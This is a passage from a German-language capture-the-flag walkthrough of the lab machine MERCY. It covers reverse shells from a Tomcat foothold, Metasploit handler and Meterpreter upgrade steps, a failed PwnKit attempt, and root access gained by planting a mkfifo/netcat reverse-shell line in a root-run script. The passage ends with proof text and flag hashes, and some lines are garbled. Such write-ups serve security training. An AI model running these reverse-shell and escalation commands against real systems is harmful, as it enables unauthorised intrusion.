Diese WAR-Datei kann dann auf dem Tomcat-Server bereitgestellt werden, um eine Reverse-Shell zu erhalten.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4242
listening on [any] 4242 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.131] 46508
            

Der Befehl nc -lvnp 4242 startet einen Netcat-Listener auf Port 4242, um die Reverse-Shell-Verbindung vom Zielsystem entgegenzunehmen.

Die Ausgabe zeigt, dass eine Verbindung vom Zielsystem (192.168.2.131) hergestellt wurde.

tomcat7@MERCY:/var/lib/tomcat7$
            

Nach erfolgreicher Verbindung wird eine Shell als Benutzer tomcat7 erhalten.

tomcat7@MERCY:/var/lib/tomcat7$ find / -perm -2000 2>/dev/null
/usr/sbin/postqueue
/usr/sbin/postdrop
/usr/sbin/uuidd
/usr/bin/procmail
/usr/bin/ssh-agent
/usr/bin/at
/usr/bin/expiry
/usr/bin/screen
/usr/bin/mlocate
/usr/bin/dotlockfile
/usr/bin/bsd-write
/usr/bin/chage
/usr/bin/mail-unlock
/usr/bin/mail-touchlock
/usr/bin/mail-lock
/usr/bin/crontab
/usr/bin/mutt_dotlock
/usr/bin/lockfile
/usr/bin/wall
/usr/share/ppd/custom
/usr/local/lib/python3.4
/usr/local/lib/python3.4/dist-packages
/usr/local/lib/python2.7
/usr/local/lib/python2.7/site-packages
/usr/local/lib/python2.7/dist-packages
/usr/local/share/xml
/usr/local/share/xml/schema
/usr/local/share/xml/misc
/usr/local/share/xml/declaration
/usr/local/share/xml/entities
/usr/local/share/xml/stylesheet
/usr/local/share/ca-certificates
/etc/chatscripts
/etc/ppp/peers
/etc/bind
/sbin/unix_chkpwd
/run/postgresql
/var/spool/postfix/public
/var/lib/libuuid
/var/log/mysql
/var/mail
/var/local
                

Der Befehl find / -perm -2000 2>/dev/null sucht nach allen Dateien mit dem SGID-Bit gesetzt. Das SGID-Bit erlaubt es einem Benutzer, eine ausführbare Datei mit den Rechten der Gruppe des Eigentümers der Datei auszuführen. Die Ausgabe zeigt eine Liste von Dateien mit gesetztem SGID-Bit.

tomcat7@MERCY:/var/lib/tomcat7$ find / -perm -4000 2>/dev/null
/usr/sbin/pppd
/usr/sbin/uuidd
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/authbind/helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/procmail
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/lppasswd
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/mtr
/sbin/mount.cifs
/bin/umount
/bin/ping
/bin/mount
/bin/fusermount
/bin/ping6
/bin/su
                

Der Befehl find / -perm -4000 2>/dev/null sucht nach allen Dateien mit dem SUID-Bit gesetzt. Das SUID-Bit erlaubt es einem Benutzer, eine ausführbare Datei mit den Rechten des Eigentümers der Datei auszuführen. Die Ausgabe zeigt eine Liste von Dateien mit gesetztem SUID-Bit.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > search 4034
Matching Modules... (Fortsetzung von oben)
Matching Modules


   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                   ---------------  ----       -----  -----------
   0  auxiliary/scanner/http/dolibarr_16_contact_dump      2023-03-14       normal     Yes    Dolibarr 16 pre-auth contact database dump
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    PwnKit Local Privilege Escalation
                

Der Befehl search 4034 in Metasploit sucht nach Modulen, die sich auf die CVE-Nummer 4034 beziehen. Die Ausgabe zeigt den Exploit exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec, der eine Local Privilege Escalation über pkexec ausnutzt.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
            

Der Befehl use multi/handler lädt den multi/handler Exploit, der verwendet wird, um eingehende Verbindungen von Payloads zu verarbeiten.

msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
            

Der Befehl set lhost eth0 setzt die lokale Host-IP-Adresse auf die IP-Adresse, die der Schnittstelle eth0 zugewiesen ist.

msf6 exploit(multi/handler) > set lport 4445
lport => 4445
            

Der Befehl set lport 4445 setzt den lokalen Port auf 4445.

msf6 exploit(multi/handler) > run

&1|nc 192.168.2.199 4445 >/tmp/fm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2> 
rm: cannot remove ‘/tmp/f’: No such file or directory
                
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.131:48352) at 2023-11-25 01:18:22 +0100

Shell Banner:
$
--
          
$
            

Der Befehl run startet den Handler. Die Ausgabe zeigt, dass eine Reverse-Shell-Verbindung vom Zielsystem (192.168.2.131) zum Angreifer-System (192.168.2.199) auf Port 4445 hergestellt wurde.

msf6 exploit(multi/handler) > search shell to meterpreter

Der Befehl search shell to meterpreter sucht nach Metasploit-Modulen, die eine bestehende Shell-Sitzung in eine Meterpreter-Sitzung umwandeln können.

msf6 exploit(multi/handler) > use 71

Der Befehl use 71 lädt das Modul post/multi/manage/shell_to_meterpreter.

msf6 post(multi/manage/shell_to_meterpreter) > options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
                                       ion
   LHOST                     no        IP of host that will receive the connection from the
                                       payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on
            

Der Befehl options zeigt die verfügbaren Optionen für das Modul post/multi/manage/shell_to_meterpreter an.

msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
            

Der Befehl set lport 4433 setzt den lokalen Port auf 4433.

msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
            

Der Befehl set session 1 setzt die Session-ID auf 1. Dies ist die ID der zuvor erstellten Shell-Sitzung.

msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.131
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.131:42958) at 2023-11-25 01:19:41 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
            

Der Befehl run startet das Modul. Die Ausgabe zeigt, dass die Shell-Sitzung erfolgreich in eine Meterpreter-Sitzung umgewandelt wurde und eine neue Sitzung mit der ID 2 erstellt wurde.

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
            

Der Benutzer lädt das Exploit-Modul exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec, das die PwnKit-Schwachstelle (CVE-2021-4034) in pkexec ausnutzt, um Root-Rechte zu... (Fortsetzung von oben) Root-Rechte zu erlangen.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
            

Der Befehl set session 2 setzt die Session-ID auf 2, die die zuvor erstellte Meterpreter-Sitzung ist.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4434
lport => 4434
            

Der Befehl set lport 4434 setzt den lokalen Port auf 4434 für die Reverse-Verbindung, die durch den Exploit erzeugt wird.

msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4434
[*] Running automatic check ("set AutoCheck false" to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. System architecture i686 is not supported "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.
            

Der Befehl run startet das Exploit-Modul. Die Ausgabe zeigt, dass der Exploit fehlgeschlagen ist, da die Systemarchitektur (i686) nicht unterstützt wird. Der Hinweis "set ForceExploit true" würde die Prüfung umgehen, aber der Exploit würde wahrscheinlich trotzdem fehlschlagen.

tomcat7@MERCY:/var/lib/tomcat7$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2100 Nov 20  2018 /etc/passwd
            

Der Befehl ls -la /etc/passwd zeigt die Berechtigungen der Datei /etc/passwd an.

tomcat7@MERCY:/var/lib/tomcat7$ ss -altpn
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
LISTEN     0      50                127.0.0.1:3306                     *:*
LISTEN     0      50                        *:139                      *:*
LISTEN     0      100                       *:110                      *:*
LISTEN     0      100                       *:143                      *:*
LISTEN     0      5             192.168.122.1:53                       *:*
LISTEN     0      10            192.168.2.131:53                       *:*
LISTEN     0      10                127.0.0.1:53                       *:*
LISTEN     0      128                       *:22                       *:*
LISTEN     0      128               127.0.0.1:631                      *:*
LISTEN     0      128               127.0.0.1:5432                     *:*
LISTEN     0      100               127.0.0.1:25                       *:*
LISTEN     0      128               127.0.0.1:953                      *:*
            

Der Befehl ss -altpn listet alle Listening-Sockets auf dem System auf. Dies kann nützlich sein, um laufende Dienste und deren Ports zu identifizieren.

tomcat7@MERCY:/var/www/html/nomercy/config$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
            

Der Befehl cat /etc/crontab zeigt den Inhalt der systemweiten Crontab-Datei an. Die Crontab-Datei enthält geplante Aufgaben, die automatisch ausgeführt werden. Die Ausgabe zeigt, dass stündliche, tägliche, wöchentliche und monatliche Skripte ausgeführt werden.

tomcat7@MERCY:/var/www/html/nomercy/config$ su fluffy
Password:
            

Der Befehl su fluffy versucht, zum Benutzer fluffy zu wechseln.

Added user fluffy.
            

Die Ausgabe "Added user fluffy" ist unerwartet. Normalerweise sollte hier die Ausgabe für ein korrektes su - Befehl stehen.

fluffy@MERCY$id
uid=1003(fluffy) gid=1003(fluffy) groups=1003(fluffy)
            

Der Befehl id bestätigt, dass der Benutzer nun fluffy ist.

fluffy@MERCY$getcap -r / 2>/dev/null
            

Der Befehl getcap -r / 2>/dev/null listet alle ausführbaren Dateien mit gesetzten Dateifähigkeiten (File Capabilities) auf, beginnend vom Root-Verzeichnis (/). Die Ausgabe ist leer, was bedeutet, dass keine Dateien mit Dateifähigkeiten gefunden wurden.

fluffy@MERCY$id
uid=1003(fluffy) gid=1003(fluffy) groups=1003(fluffy)
            

Bestätigung des aktuellen Benutzer-IDs (fluffy).

fluffy@MERCY$sudo -l
[sudo] password for fluffy: 
Sorry, user fluffy may not run sudo on MERCY.
            

Der Befehl sudo -l überprüft, ob der Benutzer fluffy sudo-Rechte besitzt. Die Ausgabe zeigt, dass dies nicht der Fall ist.

fluffy@MERCY$ls /home
fluffy	pleadformercy  qiu  thisisasuperduperlonguser
            

Der Befehl ls /home listet die Home-Verzeichnisse der Benutzer auf.

fluffy@MERCY$python3 -c 'import pty;pty.spawn("/bin/bash")'

Der Befehl python3 -c 'import pty;pty.spawn("/bin/bash")' erzeugt ein Pseudo-Terminal (PTY), wodurch die Shell interaktiver wird.

fluffy@MERCY:/var/www/html/nomercy/config$cd ~
fluffy@MERCY$ls -la
total 16
drwxr-x 3 fluffy fluffy 4096 Nov 20  2018 .
drwxr-xr-x 6 root   root   4096 Nov 20  2018 ..
-rw- 1 fluffy fluffy   12 Nov 20  2018 .bash_history
drwxr-xr-x 3 fluffy fluffy 4096 Nov 20  2018 .private
            

Es wird ins Home-Verzeichnis von fluffy gewechselt und der Inhalt mit ls -la angezeigt. Hier ist das Verzeichnis `.private` interessant.

fluffy@MERCY$cat .bash_histo
~
            

Die Datei .bash_history ist fast leer und enthält nur eine Tilde (~).

fluffy@MERCY$cd .private/
fluffy@MERCY/.private$ls -la
total 12
drwxr-xr-x 3 fluffy fluffy 4096 Nov 20  2018 .
drwxr-x 3 fluffy fluffy 4096 Nov 20  2018 ..
drwxr-xr-x 2 fluffy fluffy 4096 Nov 20  2018 secrets
            

Es wird in das Verzeichnis .private gewechselt und der Inhalt angezeigt. Hier ist das Verzeichnis secrets interessant.

fluffy@MERCY/.private$cd secrets/
fluffy@MERCY/.private/secrets$ls -la
total 20
drwxr-xr-x 2 fluffy fluffy 4096 Nov 20  2018 .
drwxr-xr-x 3 fluffy fluffy 4096 Nov 20  2018 ..
-rwxr-xr-x 1 fluffy fluffy   37 Nov 20  2018 backup.save
-rw-r--r-- 1 fluffy fluffy   12 Nov 20  2018 .secrets
-rwxrwxrwx 1 root   root    222 Nov 20  2018 timeclock
            

Es wird in das Verzeichnis secrets gewechselt und der Inhalt angezeigt. Hier sind die Dateien backup.save, .secrets und timeclock interessant. Besonders timeclock, da es Root gehört und ausführbar ist.

fluffy@MERCY/.private/secrets$cat .secrets
Try harder!
            

Der Inhalt der Datei .secrets ist "Try harder!", was kein nützlicher Hinweis ist.

fluffy@MERCY/.private/secrets$cat backup.save
#!/bin/bash

echo Backing Up Files;
            

Die Datei backup.save scheint ein Backup-Skript zu sein, aber der Inhalt ist sehr einfach und bietet keine offensichtlichen Exploitation-Möglichkeiten.

Privilege Escalation

fluffy@MERCY/.private/secrets$cat timeclock
#!/bin/bash

now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
            

Die Datei timeclock ist ein Skript, das die aktuelle Systemzeit in die Datei /var/www/html/time schreibt und den Eigentümer auf www-data:www-data ändert. Da diese Datei Root gehört und ausführbar ist, ist dies eine mögliche Privilege-Escalation-Möglichkeit.

fluffy@MERCY/.private/secrets$nano timeclock
fluffy@MERCY/.private/secrets$clear/var/www/html/timer/www/html/time5

Der Benutzer verwendet nano, um die Datei timeclock zu bearbeiten. Der Befehl clear ist wahrscheinlich ein Tippfehler und sollte ignoriert werden.

fluffy@MERCY/.private/secrets$cat timeclock
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4545 >/tmp/f
now=$(date)
echo "The system time is: $now." > ../../../../../var/www/html/time
echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time
chown www-data:www-data ../../../../../var/www/html/time
            

Der Inhalt der Datei timeclock wurde geändert. Das Skript versucht nun, eine Reverse-Shell-Verbindung zum Angreifer-System auf Port 4545 herzustellen und schreibt weiterhin die Systemzeit in die Datei /var/www/html/time.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4545
listening on [any] 4545 ...
            

Der Befehl nc -lvnp 4545 startet einen Netcat-Listener auf Port 4545, um die Reverse-Shell-Verbindung entgegenzunehmen.

┌──(root㉿cyber)-[~]
└─# nc -lvnp 4545
listening on [any] 4545 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.131] 46536
/bin/sh: 0: can't access tty; job control turned off
#
            

Nachdem das timeclock-Skript ausgeführt wurde, wird eine Reverse-Shell-Verbindung zum Angreifer-System hergestellt.

# ls
author-secret.txt
config
proof.txt
            

Der Befehl ls zeigt den Inhalt des aktuellen Verzeichnisses (wahrscheinlich Root-Verzeichnis) an.

# cat proof.txt
Congratulations on rooting MERCY. :-)
            

Der Befehl cat proof.txt liest die Datei proof.txt aus und zeigt den Text "Congratulations on rooting MERCY. :-)", was den erfolgreichen Root-Zugriff bestätigt.

Privilege Escalation erfolgreich

Flags

cat root.txt 5C42D6BB0EE9CE4CB7E7349652C45C4A
cat user.txt c7d0a8de1e03b25a6f7ed2d91b94dad6